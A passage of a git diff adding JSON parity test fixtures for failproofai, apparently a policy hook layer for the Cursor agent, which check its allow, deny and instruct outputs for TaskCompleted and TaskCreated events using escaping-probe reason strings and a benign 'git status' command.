&a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/TaskCompleted/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/TaskCompleted/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..99170306 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/TaskCompleted/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/TaskCompleted/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/TaskCompleted/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..2fe34046 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/TaskCompleted/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/TaskCompleted/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/TaskCompleted/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..3393bf51 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/TaskCompleted/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "deny", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/TaskCompleted/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/TaskCompleted/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..f320211d --- /dev/null +++ b/__tests__/parity/fixtures/cursor/TaskCompleted/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "deny", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/TaskCompleted/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/TaskCompleted/deny__tool-present__one-policy.json new file mode 100644 index 00000000..47e6f652 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/TaskCompleted/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "deny", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/TaskCompleted/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/TaskCompleted/deny__tool-present__two-policies.json new file mode 100644 index 00000000..d78ceeda --- /dev/null +++ b/__tests__/parity/fixtures/cursor/TaskCompleted/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "deny", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/TaskCompleted/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/TaskCompleted/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..787d04c8 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/TaskCompleted/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "instruct", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/TaskCompleted/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/TaskCompleted/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..b777b986 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/TaskCompleted/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "instruct", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/TaskCompleted/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/TaskCompleted/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..4f47d459 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/TaskCompleted/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "instruct", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/TaskCompleted/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/TaskCompleted/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..e391cdd4 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/TaskCompleted/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "instruct", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/TaskCreated/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/TaskCreated/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..d7449665 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/TaskCreated/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/TaskCreated/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/TaskCreated/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..b78c6274 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/TaskCreated/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/TaskCreated/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/TaskCreated/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..1a3670d9 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/TaskCreated/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/TaskCreated/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/TaskCreated/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..5280e1fa --- /dev/null +++ b/__tests__/parity/fixtures/cursor/TaskCreated/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/TaskCreated/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/TaskCreated/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..767856fd --- /dev/null +++ b/__tests__/parity/fixtures/cursor/TaskCreated/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/TaskCreated/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/TaskCreated/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..b4356fa5 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/TaskCreated/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/TaskCreated/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/TaskCreated/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..5a9d8215 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/TaskCreated/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/TaskCreated/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/TaskCreated/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..b0d74ef6 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/TaskCreated/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + 